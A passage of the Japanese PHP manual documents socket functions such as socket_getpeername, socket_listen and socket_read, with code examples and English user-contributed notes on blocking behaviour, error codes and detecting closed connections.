MCAST_JOIN_GROUP | マルチキャストグループに参加します (PHP 5.4 で追加)。 | 二つのキー "group" と "interface" を含む配列。"group" には IPv4 あるいは IPv6 のマルチキャストアドレスを文字列で指定します。 "interface" には、インターフェイス番号 (整数値) あるいは "eth0" などのインターフェイス名 (文字列) を指定します。 0 を指定すると、ルーティングテーブルを使ってインターフェイスを選択します (socket_set_option() でのみ利用可能)。
MCAST_LEAVE_GROUP | マルチキャストグループから離れます (PHP 5.4 で追加)。 | 配列。詳細は MCAST_JOIN_GROUP を参照ください (socket_set_option() でのみ利用可能)。
MCAST_BLOCK_SOURCE | 特定のソースから、そのマルチキャストグループにやってくるパケットをブロックします。 そのマルチキャストグループに事前に参加しておく必要があります (PHP 5.4 で追加)。 | MCAST_JOIN_GROUP と同じキーを含み、さらに追加でもうひとつのキーを含む配列。 追加のキーは source で、 ブロック対象となるソースの IPv4 アドレスあるいは IPv6 アドレスを文字列で指定します (socket_set_option() でのみ利用可能)。
MCAST_UNBLOCK_SOURCE | 特定のソースから、そのマルチキャストグループにやってくるパケットのブロックを解除 (そして、受信を再開) します。 そのマルチキャストグループに事前に参加しておく必要があります (PHP 5.4 で追加)。 | MCAST_BLOCK_SOURCE と同じ形式の配列 (socket_set_option() でのみ利用可能)。
MCAST_JOIN_SOURCE_GROUP | 特定の値にマッチするソースアドレスからそのマルチキャストグループにやってきたパケットを受信します (PHP 5.4 で追加)。 | MCAST_BLOCK_SOURCE と同じ形式の配列 (socket_set_option() でのみ利用可能)。
MCAST_LEAVE_SOURCE_GROUP | 特定の値にマッチするソースアドレスからそのマルチキャストグループにやってきたパケットの受信を停止します (PHP 5.4 で追加)。 | MCAST_BLOCK_SOURCE と同じ形式の配列 (socket_set_option() でのみ利用可能)。
IP_MULTICAST_IF | IPv4 マルチキャストパケットの送信インターフェイス (PHP 5.4 で追加)。 | インターフェイス番号を表す整数値か、インターフェイス名を表す eth0 のような文字列。 0 を指定すると、ルーティングテーブルを使ってインターフェイスを選択します。 socket_get_option() 関数の返り値は、インターフェイスのインデックスとなります。 注意すべき点は、C の API とは違ってこのオプションには IP アドレスを渡せないということです。 そのため、 IP_MULTICAST_IF と IPV6_MULTICAST_IF のインターフェイスの相違はなくなります。
IPV6_MULTICAST_IF | IPv6 マルチキャストパケットの送信インターフェイス (PHP 5.4 で追加)。 | IP_MULTICAST_IF と同じ。
IP_MULTICAST_LOOP | IPv4 パケットのマルチキャストループバックポリシー。 このソケットが送信したマルチキャストパケットが、 このソケットが使う送信インターフェイス上の同一マルチキャストグループに属する 同一ホスト上の受信者にも届くかどうかを示します。 これはデフォルトの動作です (PHP 5.4 で追加)。 | 整数値 (0 あるいは 1)。socket_set_option() では任意の値を受け付けますが、通常の PHP のルールに従ってそれを boolean 値に変換します。
IPV6_MULTICAST_LOOP | IP_MULTICAST_LOOP の IPv6 版 (PHP 5.4 で追加)。 | 整数値。IP_MULTICAST_LOOP を参照ください。
IP_MULTICAST_TTL | IPv4 送信パケットの有効期間。0 (このインターフェイスから離れない) から 255 までの値を指定しなければなりません。デフォルトは 1 (ローカルネットワークにだけ到達する) です (PHP 5.4 で追加)。 | 0 から 255 までの整数値。
IPV6_MULTICAST_HOPS | IP_MULTICAST_TTL の IPv6 版。 値として -1 を指定することもでき、これはデフォルトのルートを使うことを意味します (PHP 5.4 で追加)。 | -1 から 255 までの整数値。

返り値

指定したオプションの値、あるいはエラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

例

例1 socket_get_option() の例

<?php
$socket = socket_create_listen(1223);

$linger = array('l_linger' => 1, 'l_onoff' => 1);
socket_set_option($socket, SOL_SOCKET, SO_LINGER, $linger);

var_dump(socket_get_option($socket, SOL_SOCKET, SO_REUSEADDR));
?>

参考

  • socket_create_listen() - 接続を受けつけるためにポートにソケットをオープンする
  • socket_set_option() - ソケットのオプションを設定する

User Contributed Notes

prennings at gmail dot com 09-Mar-2014 08:08
I was playing around with this option to use multiply socket connections with same hostname and same port (IRC). However the socket function needed for this is SO_REUSEPORT.

Though the majority of linux distro's does not have that yet officially implented in there distro's.

However for debian there is an patch that can be installed to get it working:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c617f398edd4db2b8567a28e899a88f8f574798d

it has some work but I got it working after a while (Noobie in debian) maybe some other people are facing the same problem as I was.
Chad Lavoie 13-Dec-2010 12:52
If using Unix Sockets, and you want to use SO_PEERCRED, you can use the number 17 for the optname (and SOL_SOCKET for the level).  The PID of the connecting process will be returned.
recycling dot sp dot am at gmail dot com 14-Sep-2010 05:31
Just 2 notes here:
- On UNIX, If SO_DEBUG is set, the php program needs an effective user id of 0.
-  activating SO_OOBINLINE on a socket is equivalent to passing MSG_OOB flag to each recieving functions used with that socket (eg: socket_recv, socket_recvfrom).


socket_get_option のエイリアス

  • ≪ socket_get_option
  • socket_getpeername ≫
  • PHP Manual
  • ソケット 関数
  • socket_get_option のエイリアス

socket_getopt

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_getopt — socket_get_option() のエイリアス

説明

この関数は次の関数のエイリアスです。 socket_get_option()

User Contributed Notes

There are no user contributed notes for this page.


指定したソケットのリモート側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す

  • ≪ socket_getopt
  • socket_getsockname ≫
  • PHP Manual
  • ソケット 関数
  • 指定したソケットのリモート側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す

socket_getpeername

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_getpeername — 指定したソケットのリモート側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す

説明

socket_getpeername ( Socket $socket , string &$address , int &$port = null ) : bool

指定したソケットのリモート側に問い合わせ、 その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返します。

パラメータ

socket

socket_create() あるいは socket_accept() で作成した Socket クラスのインスタンス。

address

指定されたソケットの型が AF_INET あるいは AF_INET6 であった場合、socket_getpeername() はピア（リモート）の IP アドレス を適切な書式（例: 127.0.0.1 あるいは fe80::1）に したものを address パラメータに、そしてもし オプションの port パラメータが指定されていれば そこにポートを格納します。

指定されたソケットの型が AF_UNIX であった場合、 socket_getpeername() は Unix ファイルシステムの パス（例: /var/run/daemon.sock）を address パラメータに格納します。

port

指定した場合は、 address に関連付けるポートを保持します。

返り値

成功した場合に true を、失敗した場合に false を返します。 socket_getpeername() は、 ソケットの型が AF_INET、 AF_INET6 あるいは AF_UNIX のいずれでもない場合にも false を返します。この場合には、 直近のソケットエラーコードは更新されません。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

注意

注意:

socket_getpeername() は、 socket_accept() で作成した AF_UNIX ソケットとともに使用することはできません。意味のある値が返されるのは、 socket_connect() で作成したソケットか socket_bind() に続くプライマリサーバーソケットのみです。

注意:

socket_getpeername() に何らかの意味のある値を返させるには、 もちろんソケット自体が "peer" の概念を満たしている必要があります。

参考

  • socket_getsockname() - 指定したソケットのローカル側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

Anonymous 12-Mar-2016 01:06
The reason it won't work for UDP is that UDP is stateless; logically there are no peers other than at the time a packet is sent or received. Or more strictly, a UDP socket can interact with 0..N peers.
redph0enix at hotmail dot com 09-Sep-2003 08:57
socket_getpeername will not work for UDP sockets. Instead, use socket_recvfrom - it provides the IP address and port of the source server - eg:

$size=socket_recvfrom($socket,$input,65535,0,$ipaddress,$port);
echo "Received [$input] ($size bytes) from IP $ipaddress Port $port\n";


指定したソケットのローカル側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す

  • ≪ socket_getpeername
  • socket_import_stream ≫
  • PHP Manual
  • ソケット 関数
  • 指定したソケットのローカル側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す

socket_getsockname

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_getsockname — 指定したソケットのローカル側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す

説明

socket_getsockname ( Socket $socket , string &$address , int &$port = null ) : bool

注意: socket_getsockname() は、 socket_accept() で作成した AF_UNIX ソケットとともに使用することはできません。意味のある値が返されるのは、 socket_accept() で作成したソケットか socket_bind() に続くプライマリサーバーソケットのみです。

パラメータ

socket

socket_create() あるいは socket_accept() で作成した Socket クラスのインスタンス。

address

指定されたソケットの型が AF_INET あるいは AF_INET6 であった場合、socket_getsockname() はローカルの IP アドレス を適切な書式（例: 127.0.0.1 あるいは fe80::1）に したものを address パラメータに、そしてもし オプションの port パラメータが指定されていれば そこにポートを格納します。

指定されたソケットの型が AF_UNIX であった場合、 socket_getpeername() は Unix ファイルシステムのパス （例: /var/run/daemon.sock）を address パラメータに格納します。

port

指定した場合は、関連付けるポートを保持します。

返り値

成功した場合に true を、失敗した場合に false を返します。 socket_getsockname() は、 ソケットの型が AF_INET、 AF_INET6 あるいは AF_UNIX のいずれでもない場合にも false を返します。この場合には、 直近のソケットエラーコードは更新されません。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_getpeername() - 指定したソケットのリモート側に問い合わせ、その型に応じてホスト/ポート、あるいは Unix ファイルシステムのパスを返す
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

CXJ 17-Sep-2014 07:28
Curiously, getsockname() works for socket_create() and socket_create_pair() Unix-domain (AF_UNIX) sockets if one calls socket_bind() after creation to name the formerly anonymous socket(s).

Using a socket_bind() call also results in a file system "file" (socket, first character 's' in an "ls -l" listing) being created with the given name.  Such a "file" will need to be removed explicitly, as closing the socket will not remove it.


ストリームをインポートする

  • ≪ socket_getsockname
  • socket_last_error ≫
  • PHP Manual
  • ソケット 関数
  • ストリームをインポートする

socket_import_stream

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

socket_import_stream — ストリームをインポートする

説明

socket_import_stream ( resource $stream ) : Socket|false

ストリームをインポートし、ソケットをソケットリソースにカプセル化します。

パラメータ

stream

インポートするストリームリソース。

返り値

失敗した場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は Socket クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースを返していました。

例

例1 socket_import_stream() の例

<?php
$stream = stream_socket_server("udp://0.0.0.0:58380", $errno, $errstr, STREAM_SERVER_BIND);
$sock   = socket_import_stream($stream);
?>

参考

  • stream_socket_server() - インターネットドメインまたは Unix ドメインのサーバーソケットを作成する

User Contributed Notes

lcharron at meditech dot com 18-Nov-2015 08:34
This function does not support SSL connections.

I have submitted a bug/enhacement request because of this: https://bugs.php.net/bug.php?id=70939


ソケットの直近のエラーを返す

  • ≪ socket_import_stream
  • socket_listen ≫
  • PHP Manual
  • ソケット 関数
  • ソケットの直近のエラーを返す

socket_last_error

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_last_error — ソケットの直近のエラーを返す

説明

socket_last_error ( Socket|null $socket = null ) : int

Socket クラスのインスタンスをこの関数に渡すと、この特定のソケットに発生した 直近のエラーが返されます。socket が null の場合、 直近にエラーを発生したソケット関数のエラーコードが返されます。 後者は、失敗した場合にソケットを返さない socket_create() のような関数や 特定のソケットに直接関係ない理由で失敗する可能性がある socket_select() で特に有用です。 このエラーコードは、指定したエラーコードを表す文字列を得るために socket_strerror() に渡すものとしても適しています。

エラーが発生していない場合や socket_clear_error() でクリアされた後である場合は、 この関数は 0 を返します。

パラメータ

socket

socket_create() で作成した Socket クラスのインスタンス。

返り値

この関数は、ソケットのエラーコードを返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。
8.0.0 | socket は、nullable になりました。

例

例1 socket_last_error() の例

<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if ($socket === false) {
    $errorcode = socket_last_error();
    $errormsg = socket_strerror($errorcode);

    die("ソケットを作成できません: [$errorcode] $errormsg");
}
?>

注意

注意:

socket_last_error() はエラーコードをクリアしません。 クリアするには socket_clear_error() を使用してください。

User Contributed Notes

divinity76 at gmail dot com 19-Jan-2019 08:21
note that socket_last_error() cache the last error from the last socket syscall, it does not actually query the OS for the last error on the socket, so if an async socket have an error after the last async operation started successfully, socket_last_error() doesn't know about it, but  socket_get_option($sock, SOL_SOCKET, SO_ERROR) actually query the OS, or so it seems... observed on PHP 7.1.16 on Cygwin on win7 x64 SP1 with non-blocking sockets, socket_last_error() never caught on to the fact that the current error had changed from EINPROGRESS (non-blocking connect) to 0 (connection successful)
ca at php dot spamtrak dot org 15-Dec-2009 02:33
This is a bit long, but personally I prefer to use the standard C defines in my code.

<?php

define('ENOTSOCK',      88);    /* Socket operation on non-socket */
define('EDESTADDRREQ',  89);    /* Destination address required */
define('EMSGSIZE',      90);    /* Message too long */
define('EPROTOTYPE',    91);    /* Protocol wrong type for socket */
define('ENOPROTOOPT',   92);    /* Protocol not available */
define('EPROTONOSUPPORT', 93);  /* Protocol not supported */
define('ESOCKTNOSUPPORT', 94);  /* Socket type not supported */
define('EOPNOTSUPP',    95);    /* Operation not supported on transport endpoint */
define('EPFNOSUPPORT',  96);    /* Protocol family not supported */
define('EAFNOSUPPORT',  97);    /* Address family not supported by protocol */
define('EADDRINUSE',    98);    /* Address already in use */
define('EADDRNOTAVAIL', 99);    /* Cannot assign requested address */
define('ENETDOWN',      100);   /* Network is down */
define('ENETUNREACH',   101);   /* Network is unreachable */
define('ENETRESET',     102);   /* Network dropped connection because of reset */
define('ECONNABORTED',  103);   /* Software caused connection abort */
define('ECONNRESET',    104);   /* Connection reset by peer */
define('ENOBUFS',       105);   /* No buffer space available */
define('EISCONN',       106);   /* Transport endpoint is already connected */
define('ENOTCONN',      107);   /* Transport endpoint is not connected */
define('ESHUTDOWN',     108);   /* Cannot send after transport endpoint shutdown */
define('ETOOMANYREFS',  109);   /* Too many references: cannot splice */
define('ETIMEDOUT',     110);   /* Connection timed out */
define('ECONNREFUSED',  111);   /* Connection refused */
define('EHOSTDOWN',     112);   /* Host is down */
define('EHOSTUNREACH',  113);   /* No route to host */
define('EALREADY',      114);   /* Operation already in progress */
define('EINPROGRESS',   115);   /* Operation now in progress */
define('EREMOTEIO',     121);   /* Remote I/O error */
define('ECANCELED',     125);   /* Operation Canceled */
?>


ソケット上で接続待ち(listen)する

  • ≪ socket_last_error
  • socket_read ≫
  • PHP Manual
  • ソケット 関数
  • ソケット上で接続待ち(listen)する

socket_listen

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_listen — ソケット上で接続待ち(listen)する

説明

socket_listen ( Socket $socket , int $backlog = 0 ) : bool

ソケット socket が socket_create() を用いて作成され、 socket_bind() で名前が付けられた後、 socket 上の接続要求を待つための通信ができるようになります。

socket_listen() は、ソケットが SOCK_STREAM 型または SOCK_SEQPACKET 型の場合のみ利用可能です。

パラメータ

socket

socket_create() または socket_addrinfo_bind() で作成した 有効な Socket クラスのインスタンス。

backlog

最大 backlog 個の接続を処理用の キューで待ち受けることが可能です。もし待ちうけ用のキューが いっぱいになった場合、クライアントでは ECONNREFUSED の通知とともにエラーが発生します。あるいは、もし基盤となるプロトコルが リクエストの再送をサポートしている場合、再試行が成功するまで リクエストは無視されます。

注意:

backlog パラメータに指定できる値の最大値は プラットフォームに大きく依存します。Linux では、最大値は SOMAXCONN に切り詰められます。win32 では、 もし SOMAXCONN を渡した場合、backlog の 最大値を適切な値に設定する責任はサービスの 提供側が負います。 このプラットフォームでは、実際の backlog の値を見つける標準的な 手段が提供されていません。

返り値

成功した場合に true を、失敗した場合に false を返します。 エラーコードは socket_last_error() で取得可能で、このコードを socket_strerror() に指定することにより エラーの内容を文字列として取得可能です。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_accept() - ソケットへの接続を許可する
  • socket_bind() - ソケットに名前をバインドする
  • socket_connect() - ソケット上の接続を初期化する
  • socket_create() - ソケット（通信時の終端）を作成する
  • socket_strerror() - ソケットエラーの内容を文字列として返す
  • socket_addrinfo_bind() - 与えられた addrinfo から、ソケットを作成してバインドする

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 05:52
<?php
// create for tcp
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1);
sleep(20);
?>

<fruit>
netstat  -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      1839/php
Karuna Govind (karuna.kgx gmail) 15-Jul-2008 04:10
To change the maximum allowed backlog by your system (*nix machines only), first you need to find the variable for this limit:

sudo sysctl -a | grep somaxconn

On ubuntu boxes, it returns net.core.somaxconn (you need to look for the 'somaxconn' variable, the full name will vary across different systems).

Update this to a large number as follows:

sudo sysctl -w net.core.somaxconn=1024

This will work straight away. no restart required.


ソケットから最大バイト長まで読みこむ

  • ≪ socket_listen
  • socket_recv ≫
  • PHP Manual
  • ソケット 関数
  • ソケットから最大バイト長まで読みこむ

socket_read

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_read — ソケットから最大バイト長まで読みこむ

説明

socket_read ( Socket $socket , int $length , int $mode = PHP_BINARY_READ ) : string|false

関数 socket_read() は、関数
socket_create() または
socket_accept() により作成された
Socket クラスのインスタンス
socket から読み込みます。

パラメータ

socket

socket_create() あるいは socket_accept() で作成した Socket クラスのインスタンス。

length

読み込まれる最大バイト長は、length パラメータで 指定します。 読み込みを終了するために \r、\n、 \0 を使用することが可能です (これは、以下に示す mode に依存します)。

mode

オプションのパラメータ mode は、名前のある定数です。

  • PHP_BINARY_READ (デフォルト) - システムの recv() 関数を 使用します。バイナリデータ読み込みに関して安全です。
  • PHP_NORMAL_READ - 読み込みは、\n あるいは \r で中断されます。

返り値

socket_read() は、成功時に文字列としてデータを返し、 エラー時 (リモートホストが接続をクローズした場合を含みます) に false を返します。 エラーコードは socket_last_error() で取得可能であり、 このコードは、エラー文字列を取得するために socket_strerror() に渡すことができます。

注意:

socket_read() は、読み込むデータがもう存在しない 場合に長さゼロの文字列("")を返します。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_accept() - ソケットへの接続を許可する
  • socket_bind() - ソケットに名前をバインドする
  • socket_connect() - ソケット上の接続を初期化する
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す
  • socket_write() - ソケットに書き込む

User Contributed Notes

d dot bergloev at gmail dot com 07-Dec-2019 10:04
Binary read is the correct way to read data in most cases, whereas "normal read", is a strange and lazy PHP built mode, that works mostly with terminal data.

If you want to keep track of closed connections with binary read, the correct way is NOT to switch from binary to "normal", like some suggests. The correct way is to create some test scenarios and see how PHP deals with specific circumstances.

Here is what a quick test shows, when working with non-blocking sockets.

<?php
$input = socket_read($socket, 1024);

// In most cases, error produces an empty string and not FALSE
if ($input === FALSE || strcmp($input, '') == 0) {
    $code = socket_last_error($socket);

    // You MUST clear the error, or it will not change on next read
    socket_clear_error($socket);

    if ($code == SOCKET_EAGAIN) {
        // Nothing to read from non-blocking socket, try again later...

    } else {
        // Connection most likely closed, especially if $code is '0'
    }

} else {
    // Deal with the data
}
?>

There are more errors to consider, but this will get you started.
Arvy 13-Jul-2018 03:31
On non-blocking sockets, the function will return "" if no data is received, and even if the client disconnects.

If you want to check if the client disconnected, use ===.

$ret=socket_read($socket);

$ret=="" : connected but no data received or client disconnected
$ret==="" : client disconnected for sure
sahel dot nuri at outlook dot com 24-Jul-2017 03:38
This little, important fact would save your time.
If you want to recognize that your client is disconnected without any message, you have to select the right flag.
Because, if you use the flag PHP_BINARY_READ:
<?php
function read($sock){
    while($buf = @socket_read($sock, 1024 [, PHP_BINARY_READ ]))
        if($buf = trim($buf))
            break;

    return $buf;
}
?>
and the users disconnects, the function will returns an empty string.
But if you use the flag PHP_NORMAL_READ:
<?php
function read($sock){
    while($buf = @socket_read($sock, 1024, PHP_NORMAL_READ))
        if($buf = trim($buf))
            break;

    return $buf;
}
?>
the function will returns a false.

I hope this will help you. I wasted one hour of my time to solve this problem.
berniev 11-Jan-2017 03:54
It is not obvious from the docs or notes...
PHP_NORMAL_MODE is different to PHP_BINARY in that the former blocks regardless of socket_set_nonblock, the latter respects block and nonblock.
dhaubert dot ti at gmail dot com 28-Aug-2015 03:16
A way to wait for a message response by the socket or take the first message incoming.

Note that if the server turn offline, you have a socket resource, but while trying socket_read(), it gives you a warning message that will fill your hard drive kickly due to logging.

The example above try read the message at best 3 times, 3 seconds sleeping for another reading.
<?php
function waitResponse($response = "") {
   $status = "";
   $tries = 3;
   $counter = 0;
   while ($status == $response) {
            $status = socket_read($socket, 1024);
            if(!$status){
               if($counter >= $tries){
                  break;
               }else{
                  $counter++;
                  sleep(3);
               }
            }
   }
return $response;
}
cottton at i-stats dot net 12-Oct-2014 09:39
quote:
"Note:
socket_read() returns a zero length string ("") when there is no more data to read."

This is not true!

In a while loop
(example case few bytes to receive - just enough for 1 call, but you use a loop to be sure you received all data)
if you use
<? socket_set_block($socket); ?>
you will get:
1st call in loop: data
2nd call in loop: a block forever, if there isnt data anymore or w/e happen to the "other side"

So ofc you want to use
<? socket_set_nonblock($socket); ?>
and you will get:
1st call in loop: data
2nd call in loop: socket_read() returns FALSE (bool) and socket_last_error() gives you a SOCKET_EWOULDBLOCK (http://de1.php.net/manual/de/sockets.constants.php)

There is not a single time i got a empty string back from socket_read.
And im "working" on this problem(bug?) since a week or so.

You better use socket_recv() instead.
(good luck)
eng.mrkto.com 29-Mar-2011 04:42
It seems like in socket_* functions in BLOCKING mode where is no way to check if more than $length bytes are still available in socket (like stream_get_meta_data()['unread_bytes']).
So you need to choose your prefered maximum $length (like 133693415:) or use non-blocking mode (for realy big data reciving).
t33th4n at gmail dot com 23-Feb-2009 12:53
I don't know if is it stated anywhere with this clearance, but here is the source code for detecting the connection abort/closure for sockets testing with socket_read function:

<?php
$buf = @socket_read($routes[$i][$connectionid]['tunnelsrc'], $buffer_size);
if ($buf === '')
{
    $routes[$i][$connectionid]['disconnected']='Conenction abort at source side';
}
?>

($buf === '') is the key :)

I was making an ecrypted tunnel script with mcrypt and was annoying that i could not detect the connection abort from any side.
tech [{at}] swatcash [{dot}] com 01-Jul-2008 04:23
Messed up the end of my previous one. Corrected version here:

a simple work around to non-blocking working with normal read is like so:

$read = array($socket);
$write  = NULL;
$except = NULL;
while(1) {
    $num_changed_sockets = socket_select($read, $write, $except, 0, 1);
    if ( $num_changed_sockets > '0' ) {
        socket_read($socket,10000,PHP_NORMAL_READ);
    }
}
Anonymous 15-Dec-2007 11:11
On non-blocking connections it may not return full length requested.
nad0r1 at hush dot ai 20-Nov-2007 07:59
Another way to bypass the annoying thing with telnet, that send each character as a string ,is to check if the response is "\r\n", that is the string that telnet sends when the user presses enter.

Here is an example:
<?php
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush();

$address = '127.0.0.1';
$port = 100;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
  echo 'Socket ' . $address . ':' . $port . " has been opened\n";

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
   echo "Listening for new clients..\n";

   $client_id = 0;
do {
    if (($msgsock = socket_accept($sock)) === false) {
        echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
        break;
    }
    else {
        $client_id += 1;
      echo "Client #" .$client_id .": Connect\n";
    }

    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));
$cur_buf = '';
    do {
        if (false === ($buf = socket_read($msgsock, 2048))) {
            echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
            break 2;
        }
        if ($buf == "\r\n") {
        if ($cur_buf == 'quit') {
            echo 'Client #' .$client_id .': Disconnect' . "\n";
            break;
        }
        if ($cur_buf == 'shutdown') {
            socket_close($msgsock);
            break 2;
        }
        //else {
       $talkback = "Unknown command: " . str_replace("\r\n", '\r\n', $cur_buf) ."\n";
       socket_write($msgsock, $talkback, strlen($talkback));
       // }
        echo 'Client #' .$client_id .': ' . $cur_buf . "\n";
        $cur_buf = '';
        }
        else $cur_buf .= $buf;
    } while (true);
    socket_close($msgsock);
} while (true);

socket_close($sock);
?>
jgbustos at gmail dot com 17-Jul-2007 05:47
PHP on win32 developers, please look at this bug report before using the PHP_NORMAL_READ option:

http://bugs.php.net/bug.php?id=21197

In a nutshell, using PHP_NORMAL_READ will make your calls to socket_read() return an empty buffer every time.
ein at anti-logic dot com 28-Jun-2007 11:32
the proper way to detect a closed connection is to check socket_last_error.

Connection reset by peer is 104 (either use socket_strerror or don't suppress errors for the time being to find these out), sooo.

while($buffer=@socket_read($sock,512,PHP_NORMAL_READ)){
    echo $buffer;
}
if(socket_last_error($sock) == 104) {
    echo "Connection closed";
}
nuitari-php at nuitari dot net 13-Jun-2007 11:08
PHP_NORMAL_READ - reading stops at \n or \r.

This seems to be meant literally.
If there is a \r, then it will stop reading, even if there is a \n right after it. You have to call the read again just to get rid of the \n.
dotpointer 04-Feb-2007 03:27
PHP 5.2.0 / Win32 / Apache 1.3 - It seems like...

PHP_BINARY_READ - works, but returns '', not FALSE...
- is blocking, until data received or connection closed
- does pass-through \r\n etc.
- returns data on data, '' on connection closed
- you can detect closed connection by checking for '' (not FALSE as stated i manual)

PHP_NORMAL_READ - not working so good...
- is non-blocking
- does not pass-through \r\n etc.
- returns false on no-data, false on connection closed :(
- (no way here to detect a closed connection...?)
- (is this a bug? http://bugs.php.net/bug.php?id=21880 )
- (is this a bug? http://bugs.php.net/bug.php?id=21197 )
- (could not get data from this option at all in fact...)

PHP_BINARY_READ seems to be the "right way to go"
for now. Both checking for '' and false to detect closed
connection is probably smart, as this "bug"(?) may
be fixed...
Niels laukens 21-Aug-2006 12:34
This paragraph is confusing:

socket_read() returns the data as a string on success, or FALSE on error (including if the remote host has closed the connection). The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual representation of the error.
Note: socket_read() returns a zero length string ("") when there is no more data to read.

My tests (on PHP 5.1.4) show that when you socket_read() on a shutdown-socket, it returns FALSE when using PHP_NORMAL_READ, but returns "" when reading in PHP_BINARY_READ.
Bill Kuker 18-Mar-2005 07:31
Just a note that on my system the length seems to have an undocumented upper bound of 65536. I was being lazy and not read()ing in a while loop until I pointed it at real data ;)
michi at tr51 dot org 26-May-2004 12:48
if you'd like to make a "socket_read" on a linux-system connected with a flash-client (v. 6.0 r81) you have to send a string to the connected port:

<?php

   ...  //initialising communication

    $string = "ready to get/send data\0";
    socket_write($socket, $string);

    //now you can read from...
    $line = trim(socket_read($socket, MAXLINE));

    ...  // do some stuff, finaly close connection
?>
magicking89 at hotmail dot com 30-Aug-2003 04:01
if you want to use a non block socket you must to use socket_last_error

if(!socket_last_error($sc)){
   if($buffer=socket_read($sc,512,PHP_NORMAL_READ)){
      echo $buffer;
   }
}

if you use it your script wont take all your memory
schst at php-tools dot de 04-Jul-2003 06:19
You may download a generic server class at http://www.php-tools.de
This class will accept the sockets read data from it and hands it to a callback function. Furthermore there are methods for connection handling included.
24-Sep-2002 11:48
Windows telnet sends/recieves one character at a time. Try adding PHP_NORMAL_READ to the end of socket_read, that might help.


接続したソケットからデータを受信する

  • ≪ socket_read
  • socket_recvfrom ≫
  • PHP Manual
  • ソケット 関数
  • 接続したソケットからデータを受信する

socket_recv

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_recv — 接続したソケットからデータを受信する

説明

socket_recv ( Socket $socket , string|null &$data , int $length , int $flags ) : int|false

socket_recv() 関数は、 socket から length バイトのデータを受信して data に格納します。 socket_recv() を使うと、 接続したソケットからデータを収集することができます。 さらに、フラグを指定して関数の挙動を変更することもできます。

data は参照渡しなので、 引数リストには変数で渡さなければなりません。 socket から socket_recv() で読み込んだデータが data に入ります。

パラメータ

socket

socket は、事前に socket_create() で作成した Socket クラスのインスタンスでなければなりません。

data

受信したデータが、 data で指定した変数に格納されます。 エラーが発生したり接続がリセットされたりデータが存在しなかったりした場合は、 data には null が設定されます。

length

最大 length バイトまでをリモートホストから取得します。

flags

flags の値は、次のフラグを論理 OR (|) 演算子で組み合わせたものとなります。

flags のとりうる値
フラグ | 説明
MSG_OOB | out-of-band を処理します。
MSG_PEEK | 受信キューの先頭からデータを取得し、受信したデータをキューから削除しません。
